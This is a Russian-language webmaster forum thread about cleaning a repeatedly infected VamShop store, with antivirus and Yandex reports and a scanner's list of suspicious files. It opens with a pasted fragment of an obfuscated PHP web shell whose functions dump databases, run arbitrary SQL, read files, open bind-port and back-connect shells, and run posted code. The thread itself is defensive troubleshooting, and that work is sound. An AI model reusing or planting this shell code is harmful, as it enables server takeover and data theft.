dbname=$dbname"))return true;break;}return false;}function selectdb($db){switch($this->type){case gg(1141):if(@mysql_select_db($db))return true;break;}return false;}function query($str){switch($this->type){case gg(1142):return $this->res=@mysql_query($str);break;case gg(1143):return $this->res=@pg_query($this->link,$str);break;}return false;}function fetch(){$res=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case gg(1144):return@mysql_fetch_assoc($res);break;case gg(1145):return@pg_fetch_assoc($res);break;}return false;}function listDbs(){switch($this->type){case gg(1146):return $this->query(gg(1147));break;case gg(1148):return $this->res=$this->query(gg(1149));break;}return false;}function listTables(){switch($this->type){case gg(1150):return $this->res=$this->query(gg(1151));break;case gg(1152):return $this->res=$this->query(gg(1153));break;}return false;}function error(){switch($this->type){case gg(1154):return@mysql_error();break;case gg(1155):return@pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case gg(1156):if(function_exists('mysql_set_charset'))return@mysql_set_charset($str,$this->link);else $this->query(gg(1157) .$str);break;case gg(1158):return@pg_set_client_encoding($this->link,$str);break;}return false;}function loadFile($str){switch($this->type){case gg(1159):return $this->fetch($this->query(gg(1160) .addslashes($str) .gg(1161)));break;case gg(1162):$this->query(gg(1163) .addslashes($str) .gg(1164));$r=array();while($i=$this->fetch())$r[]=$i[gg(1165)];$this->query(gg(1166));return array(gg(1167)=>implode(gg(1168),$r));break;}return false;}function dump($table,$fp=false){switch($this->type){case gg(1169):$res=$this->query(gg(1170) .$table .gg(1171));$create=mysql_fetch_array($res);$sql=$create[1] .gg(1172);if($fp)fwrite($fp,$sql);else echo($sql);$this->query(gg(1173) .$table .gg(1174));$i=0;$head=true;while($item=$this->fetch()){$sql=gg(1175);if($i%1000 == 0){$head=true;$sql=gg(1176);}$columns=array();foreach($item as $k=>$v){if($v === null)$item[$k]=gg(1177);elseif(is_int($v))$item[$k]=$v;else $item[$k]=gg(1178) .@mysql_real_escape_string($v) .gg(1179);$columns[]=gg(1180) .$k .gg(1181);}if($head){$sql .= gg(1182) .$table .gg(1183) .implode(gg(1184),$columns) .gg(1185) .implode(gg(1186),$item) .gg(1187);$head=false;}else $sql .= gg(1188) .implode(gg(1189),$item) .gg(1190);if($fp)fwrite($fp,$sql);else echo($sql);$i++;}if(!$head)if($fp)fwrite($fp,gg(1191));else echo(gg(1192));break;case gg(1193):$this->query(gg(1194) .$table);while($item=$this->fetch()){$columns=array();foreach($item as $k=>$v){$item[$k]=gg(1195) .addslashes($v) .gg(1196);$columns[]=$k;}$sql=gg(1197) .$table .gg(1198) .implode(gg(1199),$columns) .gg(1200) .implode(gg(1201),$item) .gg(1202) .gg(1203);if($fp)fwrite($fp,$sql);else echo($sql);}break;}return false;}};$db=new DbClass($_POST[gg(1204)]);if(@$_POST[gg(1205)]== gg(1206)){$db->connect($_POST[gg(1207)],$_POST[gg(1208)],$_POST[gg(1209)],$_POST[gg(1210)]);$db->selectdb($_POST[gg(1211)]);switch($_POST[gg(1212)]){case gg(1213):$db->setCharset(gg(1214));break;case gg(1215):$db->setCharset(gg(1216));break;case gg(1217):$db->setCharset(gg(1218));break;case gg(1219):$db->setCharset(gg(1220));break;case gg(1221):$db->setCharset(gg(1222));break;}if(empty($_POST[gg(1223)])){ob_start(gg(1224),4096);header(gg(1225));header(gg(1226));foreach($_POST[gg(1227)]as $v)$db->dump($v);exit;}elseif($fp=@fopen($_POST[gg(1228)],gg(1229))){foreach($_POST[gg(1230)]as $v)$db->dump($v,$fp);fclose($fp);unset($_POST[gg(1231)]);}else die(gg(1232));}xxsHeader();echo gg(1233) .htmlspecialchars($GLOBALS[gg(1234)]) .gg(1235) .(isset($_POST[gg(1236)])?$_POST[gg(1237)]:gg(1238)) .gg(1239);if(@$_POST[gg(1240)]== gg(1241))echo gg(1242);echo gg(1243);if(@$_POST[gg(1244)]== gg(1245))echo gg(1246);echo gg(1247) .(empty($_POST[gg(1248)])?gg(1249):htmlspecialchars($_POST[gg(1250)])) .gg(1251) .(empty($_POST[gg(1252)])?gg(1253):htmlspecialchars($_POST[gg(1254)])) .gg(1255) .(empty($_POST[gg(1256)])?gg(1257):htmlspecialchars($_POST[gg(1258)])) .gg(1259);$tmp=gg(1260);if(isset($_POST[gg(1261)])){if($db->connect($_POST[gg(1262)],$_POST[gg(1263)],$_POST[gg(1264)],$_POST[gg(1265)])){switch($_POST[gg(1266)]){case gg(1267):$db->setCharset(gg(1268));break;case gg(1269):$db->setCharset(gg(1270));break;case gg(1271):$db->setCharset(gg(1272));break;case gg(1273):$db->setCharset(gg(1274));break;case gg(1275):$db->setCharset(gg(1276));break;}$db->listDbs();echo gg(1277);while($item=$db->fetch()){list($key,$value)=each($item);echo gg(1278) .$value .gg(1279) .($value==$_POST[gg(1280)]?gg(1281):gg(1282)) .gg(1283) .$value .gg(1284);}echo gg(1285);}else echo $tmp;}else echo $tmp;echo gg(1286) .(empty($_POST[gg(1287)])?gg(1288):gg(1289)) .gg(1290) .@addslashes($_POST[gg(1291)]) .gg(1292);if(isset($db)&& $db->link){echo gg(1293);if(!empty($_POST[gg(1294)])){$db->selectdb($_POST[gg(1295)]);echo gg(1296);$tbls_res=$db->listTables();while($item=$db->fetch($tbls_res)){list($key,$value)=each($item);if(!empty($_POST[gg(1297)]))$n=$db->fetch($db->query(gg(1298) .$value .gg(1299)));$value=htmlspecialchars($value);echo gg(1300) .$value .gg(1301) .$value .gg(1302) .$value .gg(1303) .(empty($_POST[gg(1304)])?gg(1305):" <small>({$n[gg(1306)]})</small>") .gg(1307);}echo gg(1308);if(@$_POST[gg(1309)]== gg(1310)){$_POST[gg(1311)]=gg(1312);$_POST[gg(1313)]=$_POST[gg(1314)]?$_POST[gg(1315)]:1;$db->query(gg(1316) .$_POST[gg(1317)]);$num=$db->fetch();$pages=ceil($num[gg(1318)]/30);echo gg(1319) .$_POST[gg(1320)] .gg(1321) .$_POST[gg(1322)] ."</span> ({$num[gg(1323)]} records) Page # <input type=text name='p3' value=" .((int)$_POST[gg(1324)]) .gg(1325);echo" of $pages";if($_POST[gg(1326)]>1)echo gg(1327) .$_POST[gg(1328)] .gg(1329) .($_POST[gg(1330)]-1) .gg(1331);if($_POST[gg(1332)]<$pages)echo gg(1333) .$_POST[gg(1334)] .gg(1335) .($_POST[gg(1336)]+1) .gg(1337);$_POST[gg(1338)]--;if($_POST[gg(1339)]== gg(1340))$_POST[gg(1341)]=gg(1342) .$_POST[gg(1343)] .gg(1344) .($_POST[gg(1345)]*30);else $_POST[gg(1346)]=gg(1347) .$_POST[gg(1348)] .gg(1349) .($_POST[gg(1350)]*30) .gg(1351);echo gg(1352);}if((@$_POST[gg(1353)]== gg(1354))&&!empty($_POST[gg(1355)])){$db->query(@$_POST[gg(1356)]);if($db->res !== false){$title=false;echo gg(1357);$line=1;while($item=$db->fetch()){if(!$title){echo gg(1358);foreach($item as $key => $value)echo gg(1359) .$key .gg(1360);reset($item);$title=true;echo gg(1361);$line=2;}echo gg(1362) .$line .gg(1363);$line=$line==1?2:1;foreach($item as $key => $value){if($value == null)echo gg(1364);else echo gg(1365) .nl2br(htmlspecialchars($value)) .gg(1366);}echo gg(1367);}echo gg(1368);}else{echo gg(1369) .htmlspecialchars($db->error()) .gg(1370);}}echo gg(1371);if(!empty($_POST[gg(1372)])&&($_POST[gg(1373)]!= gg(1374)))echo htmlspecialchars($_POST[gg(1375)]);echo gg(1376);echo gg(1377);}echo gg(1378);if($_POST[gg(1379)]== gg(1380)){$db->query(gg(1381));if($db->fetch())echo gg(1382);}if(@$_POST[gg(1383)]== gg(1384)){$file=$db->loadFile($_POST[gg(1385)]);echo gg(1386) .htmlspecialchars($file[gg(1387)]) .gg(1388);}}else{echo htmlspecialchars($db->error());}echo gg(1389);xxsFooter();}function actionNetwork(){xxsHeader();$back_connect_p=gg(1390);$bind_port_p=gg(1391);echo gg(1392) .$_SERVER[gg(1393)] .gg(1394);if(isset($_POST[gg(1395)])){function cf($f,$t){$w=@fopen($f,gg(1396))or@function_exists('file_put_contents');if($w){@fwrite($w,@base64_decode($t));@fclose($w);}}if($_POST[gg(1397)]== gg(1398)){cf(gg(1399),$bind_port_p);$out=xxsEx(gg(1400) .$_POST[gg(1401)] .gg(1402));sleep(1);echo"<pre class=ml1>$out\n" .xxsEx(gg(1403)) .gg(1404);unlink(gg(1405));}if($_POST[gg(1406)]== gg(1407)){cf(gg(1408),$back_connect_p);$out=xxsEx(gg(1409) .$_POST[gg(1410)] .gg(1411) .$_POST[gg(1412)] .gg(1413));sleep(1);echo"<pre class=ml1>$out\n" .xxsEx(gg(1414)) .gg(1415);unlink(gg(1416));}}echo gg(1417);xxsFooter();}function actionRC(){if(!@$_POST[gg(1418)]){$a=array(gg(1419)=> php_uname(),gg(1420)=> phpversion(),gg(1421)=> XMO_VERSION,gg(1422)=>@ini_get(gg(1423)));echo serialize($a);}else{$zzz=gg(1424) .gg(1425) .gg(1426);$$zzz($_POST[gg(1427)]);}}if(empty($_POST[gg(1428)]))if(isset($default_action)&& function_exists('action' .$default_action))$_POST['a]=$default_action;else $_POST[gg(1429)]=gg(1430);if(!empty($_POST[gg(1431)])&& function_exists('action' .$_POST['a']))call_user_func('action' .$_POST['a']);exit;

 

Все бы ничего. Я удалил эти файли и презаписал htaccses, но на след день, заразился другой сайт этой же болячкой, а тот который почистил опять заражен. Пошел закинул денег чтоб купить Касперского, так как пока он стоял никаких проблем небыло. И вот дилема, с компа моего идет заражение или где то дырка. Скорей всего конечно с компа (хоть я ничего не скачивал и давно не лазил в фтп) Но может есть способ как то раз и навсегда избавиться от этого недуга ?

Ссылка на сообщение
Поделиться на другие сайты

Какая версия VamShop?

Если старая, то нужно обновляться, в обновлениях в том числе закрываются и найденные дырки.

 

Возможно, что успели Вам загрузить на сервер так называемый shell скрипт через который и гадят, его нужно найти удалить.

Ссылка на сообщение
Поделиться на другие сайты
  • 4 weeks later...

Версия то самая последняя. Вроде разобрался месяц назад, а теперь опять два файла обнаружил, но htaccess вроде не тронули в этот раз.

Значит все таки шелл залили, какие нибудь алгоритмы способы обнаружения шелла не подскажите ?

Проверил антивирусом в ISP менеджере он ругнулся на вот это:

 

 

setup/includes/general.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/ie.js: JS.Agent-151 FOUND
setup/admin/includes/javascript/tiny_mce/tiny_mce_gzip.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/tiny_mce/jquery.tinymce.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/tiny_mce/plugins/tinybrowser/lang/ru.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/tiny_mce/plugins/tinybrowser/lang/en.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/tiny_mce/plugins/tinybrowser/js/swfobject.js: JS.Agent-151 FOUND
setup/admin/includes/javascript/tiny_mce/plugins/safari/editor_plugin_src.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/tiny_mce/plugins/safari/editor_plugin.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/date-picker/js/datepicker.js: JS.Agent-151 FOUND
setup/admin/includes/javascript/date-picker/js/lang/sp.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/date-picker/js/lang/ru.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/date-picker/js/lang/ro.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/date-picker/js/lang/it.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/date-picker/js/lang/fr.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/date-picker/js/lang/fi.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/date-picker/js/lang/es.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/date-picker/js/lang/en.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/date-picker/js/lang/du.js: JS.Agent-152 FOUND
setup/admin/includes/javascript/date-picker/js/lang/de.js: JS.Agent-152 FOUND

 

и предлагает удалить их

Ссылка на сообщение
Поделиться на другие сайты

Обрыскал весь комп в поисках резервов. Нашел кое какие. Тепер антивирус в исп жалуется только на эти файлы:

 

9829192.ru/setup/admin/includes/javascript/tiny_mce/tiny_mce_gzip.js: JS.Agent-152 FOUND
9829192.ru/setup/admin/includes/javascript/tiny_mce/jquery.tinymce.js: JS.Agent-152 FOUND
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/tinybrowser/lang/ru.js: JS.Agent-152 FOUND
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/tinybrowser/lang/en.js: JS.Agent-152 FOUND

 

Их в своих резервах я не нашел. Все таки хорошо бы скачать полную версию. чтоб была возможность менять зараженные файлы.

Ссылка на сообщение
Поделиться на другие сайты

Все их тоже нашел, на другом компе. Вопрос на данный момент такой, можно ли скачать актуальную версию дистрибутива на текущий момент ? чтоб как писал выше в таких ситуациях можно было заменить зараженные скрипты

Ссылка на сообщение
Поделиться на другие сайты

можно ли скачать актуальную версию дистрибутива на текущий момент ? чтоб как писал выше в таких ситуациях можно было заменить зараженные скрипты

 

а в своем профиле разве нет ссылки на скачивание?

тут можно взять нужные файлы - http://vamhost.ru/vamshop-demo.zip

Ссылка на сообщение
Поделиться на другие сайты

Скачайте демку vamshop.ru/download.html и возьмите файлы.

 

Shell'ы лично я ищу примерно так - http://mr-stiher.ru/blog/find-shell-via-shh.html

Ссылка на сообщение
Поделиться на другие сайты

А моя лицензионная версия не похерится ? Вообще было бы лучше если бы актуальную версию хотяб на момент покупки можно было бы скачать

Ссылка на сообщение
Поделиться на другие сайты
Ссылка на сообщение
Поделиться на другие сайты

Тогда такой вопрос, вчера вычистил все вирусы, рувеб хостер проверил своим антивирусом и сообщил что вирусов нет, но яндекс однако сегодня на перепроверке выдал вот это: 

 

 

 

22.05.2013 http://www.9829192.ru/besprovodnaja-mysh-trackball-mouse-y-10w-1-.html Поведенческий анализ
22.05.2013 http://www.9829192.ru/canon-eos-1100d-18-55-dc-iii-kit-black--chernyj.html Поведенческий анализ
22.05.2013 http://www.9829192.ru/sony-xperia-s-lt26i.html Поведенческий анализ
22.05.2013 http://www.9829192.ru/apple-ipad-new-3-16gb-wi-fi-white-belyj.html Поведенческий анализ
22.05.2013 http://www.9829192.ru/index.php?cat=48 Поведенческий анализ
22.05.2013 http://www.9829192.ru/1702.html Поведенческий анализ
22.05.2013 http://www.9829192.ru/snjatye-s-proizvodstva.html Поведенческий анализ

Мой Касперский тоже ничего не находит.

В общем хапарил меня этот яндекс..

Ссылка на сообщение
Поделиться на другие сайты

Вы в яндекс-вебмастере нажимали кнопку "перепроверить сайт" или как она там точно называется?!

Ссылка на сообщение
Поделиться на другие сайты

Да, еще вчера, а сегодня он прислал сообщение, что сайт не прошел перепроверку, вирусы те что я указал в примере (эти страницы типа заражены)

Ссылка на сообщение
Поделиться на другие сайты

У меня было пару раз такое, что сайт в яндексе не сразу проходил проверку после удаления вирусов.

 

Напишите в поддержке яндекса, спросите, что именно им не нравится на этих страницах.

Ссылка на сообщение
Поделиться на другие сайты

Скачал весь архив магазина. ПРоверил Касперсикм он еще обнаружил 14 троянов в индексных файлах. Заменил их. Отправил на проверку повторно. Надеюсь этого хватит. На данный момент ни Касперский, ни внутренний антивирус в isp панели никаких троянов не находит. ппц....

Ссылка на сообщение
Поделиться на другие сайты

На них ведь нет вирусов (на страницах яндексом указаных)? Я ж не ошибаюсь?

Поведение Яндекса непредсказуемо, неадекватно и безответственно , как всякого , практически, монополиста.

С ним следует быть очень осторожным.

Я вам не зря предлагаю просканировать Айболитом.

Если , где нить в папке Яндекс обнаружит подозрительный файл - кирдык - черная метка Вашему сайту гарантирована.

И никаких внедренных скриптов в страницах может не быть.

http://safesearch.ya.ru/replies.xml?item_no=904

 

Мне удалось

1. Получить ответ от них с конкретикой что именно они обнаружили на одном из моих сайтов, и это не дебильный "Поведенческий анализ":

 

"Здравствуйте, Александр!

На Вашем сайте 4 марта было обнаружен вредоносный код с вердиктом Troj/JSRedir-LH . Вредоносный код который подставлялся в js-файлы и серверный код, который присутствует в php файлах, приведены на странице Помощи: http://help.yandex.ru/webmaster/?id=1116573#1127875 . В настоящий момент Ваш сайт прошёл перепроверку и не помечен как угрожающий безопасности компьютера.

Система устроена так, что при обнаружении вредоносного кода на домене его поддомены также помечаются в результатах поиска. Поэтому сайт shop.домен.ru также был размечен в выдаче. Я передам Ваше пожелание разработчикам относительно данной ситуации"

 

 

2. Удалось документально им доказать , что  в страницах отсутствовал внедренный код ( на хостинге поднял архив на дату определения заражения Яндексом, до лечения). Присутствовали только файлы типа 4t56u89.php  распиханные в разные папки, с кодом , указанным во второй части вердикта , как рекомендация , чтобы избежать повторного заражения  - их помог определить вышеупомянутый скрипт. Лечение заняло несколько минут - удалил их скопом. После этого Яндекс враз посчитал сайт безопасным.

 

Кстати никакие другие средства ничего найти не могли, что не удивительно, поскольку внедренных скриптов не было.

Многие из нас попадают в ситуацию, обсуждаемую здесь http://safesearch.ya.ru/replies.xml?item_no=904, а яндекс ставит нас в положение крайней неопределенности.

Словом даже следов неудачной попытки заражения сайта Яндексу достаточно для объявления его опасным.

 

А еще эти хамы вешают Черную Яндекс-метку на  другие "невинные" сайты , на том основании, что они находятся в том же домене, что и "зараженный" сайт

Ссылка на сообщение
Поделиться на другие сайты

SHH пустил в дело вот такие логи:

 

ЧТо с ними делать??

Что здесь лишние, направьте пожалуйста.

 

Eval:

9829192.ru/otcheti/ext/jquery.js
9829192.ru/otcheti/ext/ajax.js
9829192.ru/callme/jquery.min.js
9829192.ru/b6ee5653abb60f11bb1a1c29a3c7528e96c2035a/trustlink.links.db
9829192.ru/schet.php
9829192.ru/packingslip.php
9829192.ru/download.php
9829192.ru/setup/schet.php
9829192.ru/setup/packingslip.php
9829192.ru/setup/download.php
9829192.ru/setup/jscript/jscript_JsHttpRequest.js
9829192.ru/setup/jscript/jquery/jquery.js
9829192.ru/setup/jscript/jquery/plugins/validate/jquery.validate.pack.js
9829192.ru/setup/jscript/jquery/plugins/tooltip/jquery.tooltip.pack.js
9829192.ru/setup/jscript/jquery/plugins/fancybox/jquery.fancybox-1.2.5.pack.js
9829192.ru/setup/includes/functions/compatibility.php
9829192.ru/setup/includes/external/avisosms/avisosmsmc.class.php
9829192.ru/setup/includes/external/smarty/Smarty.class.php
9829192.ru/setup/includes/external/smarty/plugins/modifier.regex_replace.php
9829192.ru/setup/includes/external/smarty/plugins/function.math.php
9829192.ru/setup/includes/external/smarty/plugins/function.mailto.php
9829192.ru/setup/includes/external/smarty/plugins/function.eval.php
9829192.ru/setup/includes/external/smarty/internals/core.smarty_include_php.php
9829192.ru/setup/includes/external/smarty/internals/core.run_insert_handler.php
9829192.ru/setup/includes/external/smarty/internals/core.process_cached_inserts.php
9829192.ru/setup/includes/external/phpmailer/class.phpmailer.php
9829192.ru/setup/includes/classes/nusoap/nusoap.php
9829192.ru/setup/includes/classes/banktransfer_validation.php
9829192.ru/setup/inc/vam_gdlib_check.inc.php
9829192.ru/setup/inc/vam_address_summary.inc.php
9829192.ru/setup/inc/vam_address_format.inc.php
9829192.ru/setup/excel/Writer.php
9829192.ru/setup/excel/PEAR.php
9829192.ru/setup/excel/PEAR/PEAR.php
9829192.ru/setup/excel/PEAR/Installer.php
9829192.ru/setup/excel/PEAR/ErrorStack.php
9829192.ru/setup/excel/PEAR/PackageFile/Generator/v1.php
9829192.ru/setup/excel/PEAR/Command/Channels.php
9829192.ru/setup/excel/Excel/Workbook.php
9829192.ru/setup/admin/exportorders.php
9829192.ru/setup/admin/sxd/sxd.js
9829192.ru/setup/admin/sxd/index.php
9829192.ru/setup/admin/sxd/backup.php
9829192.ru/setup/admin/print_packingslip.php
9829192.ru/setup/admin/print_order.php
9829192.ru/setup/admin/parameters_export.php
9829192.ru/setup/admin/modules.php
9829192.ru/setup/admin/module_export.php
9829192.ru/setup/admin/easypopulate.php
9829192.ru/setup/admin/csv_backend.php
9829192.ru/setup/admin/configuration.php
9829192.ru/setup/admin/backup.php
9829192.ru/setup/admin/articles_config.php
9829192.ru/setup/admin/includes/modules/new_product.php
9829192.ru/setup/admin/includes/javascript/tiny_mce/tiny_mce_src.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/tiny_mce_popup.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/tiny_mce_gzip.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/tiny_mce.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/python.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/php.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/js.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/js.j
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/edit_area_full.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/select.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/jquery.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/for_tinymce.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/form.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/calendar.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/ajaxtexteditor_c.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/ajaximageeditor_c.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/ajaxfileupload.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/ajaxfilemanager_c.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/inc/function.base.php
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/spellchecker/rpc.php
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/example/dialog.htm
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/example/js/dialog.js
9829192.ru/setup/admin/includes/functions/get_exel_data.php
9829192.ru/setup/admin/includes/functions/general.php
9829192.ru/setup/admin/includes/classes/xml_domit_xpath.php
9829192.ru/setup/admin/includes/classes/xml_domit_doctor.php
9829192.ru/setup/admin/includes/classes/phplot.php
9829192.ru/setup/admin/includes/classes/pclzip.lib.php
9829192.ru/setup/admin/includes/classes/image_manipulator_GD2.php
9829192.ru/setup/admin/includes/classes/image_manipulator_GD1.php
9829192.ru/setup/admin/includes/classes/ci_tag_config.class.php
9829192.ru/setup/admin/includes/classes/ci_tag_changelangdef.class.php
9829192.ru/setup/admin/includes/classes/import.php
9829192.ru/jscript/jquery/jquery.js
9829192.ru/jscript/jquery/plugins/validate/jquery.validate.pack.js
9829192.ru/jscript/jquery/plugins/tooltip/jquery.tooltip.pack.js
9829192.ru/jscript/jquery/plugins/fancybox/jquery.fancybox-1.2.5.pack.js
9829192.ru/jscript/jscript_JsHttpRequest.js
9829192.ru/includes/configuration.php
9829192.ru/includes/modules/shipping/russianpostems.php
9829192.ru/includes/functions/compatibility.php
9829192.ru/includes/external/avisosms/avisosmsmc.class.php
9829192.ru/includes/external/smarty/Smarty.class.php
9829192.ru/includes/external/smarty/plugins/modifier.regex_replace.php
9829192.ru/includes/external/smarty/plugins/function.math.php
9829192.ru/includes/external/smarty/plugins/function.mailto.php
9829192.ru/includes/external/smarty/plugins/function.eval.php
9829192.ru/includes/external/smarty/internals/core.smarty_include_php.php
9829192.ru/includes/external/smarty/internals/core.run_insert_handler.php
9829192.ru/includes/external/smarty/internals/core.process_cached_inserts.php
9829192.ru/includes/external/phpmailer/class.phpmailer.php
9829192.ru/includes/classes/banktransfer_validation.php
9829192.ru/includes/classes/nusoap/nusoap.php
9829192.ru/inc/vam_gdlib_check.inc.php
9829192.ru/inc/vam_address_summary.inc.php
9829192.ru/inc/vam_address_format.inc.php
9829192.ru/excel/Writer.php
9829192.ru/excel/PEAR.php
9829192.ru/excel/PEAR/PEAR.php
9829192.ru/excel/PEAR/Installer.php
9829192.ru/excel/PEAR/ErrorStack.php
9829192.ru/excel/PEAR/PackageFile/Generator/v1.php
9829192.ru/excel/PEAR/Command/Channels.php
9829192.ru/excel/Excel/Workbook.php
9829192.ru/admin/exportorders.php
9829192.ru/admin/print_packingslip.php
9829192.ru/admin/print_order.php
9829192.ru/admin/parameters_export.php
9829192.ru/admin/modules.php
9829192.ru/admin/module_export.php
9829192.ru/admin/sxd/sxd.js
9829192.ru/admin/sxd/index.php
9829192.ru/admin/sxd/backup.php
9829192.ru/admin/easypopulate.php
9829192.ru/admin/csv_backend.php
9829192.ru/admin/configuration.php
9829192.ru/admin/backup.php
9829192.ru/admin/articles_config.php
9829192.ru/admin/includes/modules/new_product.php
9829192.ru/admin/includes/javascript/tiny_mce/plugins/spellchecker/rpc.php
9829192.ru/admin/includes/javascript/tiny_mce/plugins/example/js/dialog.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/example/dialog.htm
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/python.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/php.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/js.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/edit_area_full.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/select.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/jquery.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/for_tinymce.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/form.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/calendar.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/ajaxtexteditor_c.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/ajaximageeditor_c.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/ajaxfileupload.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/ajaxfilemanager_c.js
9829192.ru/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/inc/function.base.php
9829192.ru/admin/includes/javascript/tiny_mce/tiny_mce_src.js
9829192.ru/admin/includes/javascript/tiny_mce/tiny_mce_popup.js
9829192.ru/admin/includes/javascript/tiny_mce/tiny_mce.js
9829192.ru/admin/includes/functions/get_exel_data.php
9829192.ru/admin/includes/functions/general.php
9829192.ru/admin/includes/classes/xml_domit_xpath.php
9829192.ru/admin/includes/classes/xml_domit_doctor.php
9829192.ru/admin/includes/classes/phplot.php
9829192.ru/admin/includes/classes/pclzip.lib.php
9829192.ru/admin/includes/classes/image_manipulator_GD2.php
9829192.ru/admin/includes/classes/image_manipulator_GD1.php
9829192.ru/admin/includes/classes/ci_tag_config.class.php
9829192.ru/admin/includes/classes/ci_tag_changelangdef.class.php
9829192.ru/admin/includes/classes/import.php

 

base64

 

9829192.ru/liqpay.php
9829192.ru/setup/liqpay.php
9829192.ru/setup/jscript/jquery/plugins/fancybox/jquery.fancybox-1.2.5.css
9829192.ru/setup/includes/modules/payment/estonia_swed.php
9829192.ru/setup/includes/modules/payment/paypal_ipn.php
9829192.ru/setup/includes/modules/payment/liqpay.php
9829192.ru/setup/includes/modules/payment/paypal_standard.php
9829192.ru/setup/includes/modules/payment/pay2pay.php
9829192.ru/setup/includes/external/smarty/plugins_vam/outputfilter.note.php
9829192.ru/setup/includes/external/smarty/plugins/function.fetch.php
9829192.ru/setup/includes/external/phpmailer/class.smtp.php
9829192.ru/setup/includes/external/phpmailer/class.phpmailer.php
9829192.ru/setup/includes/classes/nusoap/nusoap.php
9829192.ru/setup/includes/classes/http_client.php
9829192.ru/setup/inc/dectobase64.inc.php
9829192.ru/setup/inc/base64todec.inc.php
9829192.ru/setup/inc/changedataout.inc.php
9829192.ru/setup/inc/changedatain.inc.php
9829192.ru/setup/excel/PEAR/Remote.php
9829192.ru/setup/excel/PEAR/REST.php
9829192.ru/setup/excel/PEAR/Downloader.php
9829192.ru/setup/excel/PEAR/Config.php
9829192.ru/setup/admin/order_editor/http_client.php
9829192.ru/setup/admin/backup.php
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/python.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/php.js
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/ajaxfilemanager/inc/zencart.auth.php
9829192.ru/setup/admin/includes/javascript/tiny_mce/plugins/visualblocks/css/visualblocks.css
9829192.ru/setup/admin/includes/javascript/engines/Jare/Typograph/Tool.php
9829192.ru/setup/pay2pay.php
9829192.ru/setup/paymaster.php
9829192.ru/media/content/sendmail.php
9829192.ru/jscript/jquery/plugins/fancybox/jquery.fancybox-1.2.5.css
9829192.ru/includes/modules/payment/paypal_standard.php
9829192.ru/includes/modules/payment/estonia_swed.php
9829192.ru/includes/modules/payment/paypal_ipn.php
9829192.ru/includes/modules/payment/liqpay.php
9829192.ru/includes/modules/payment/pay2pay.php
9829192.ru/includes/external/smarty/plugins_vam/outputfilter.note.php
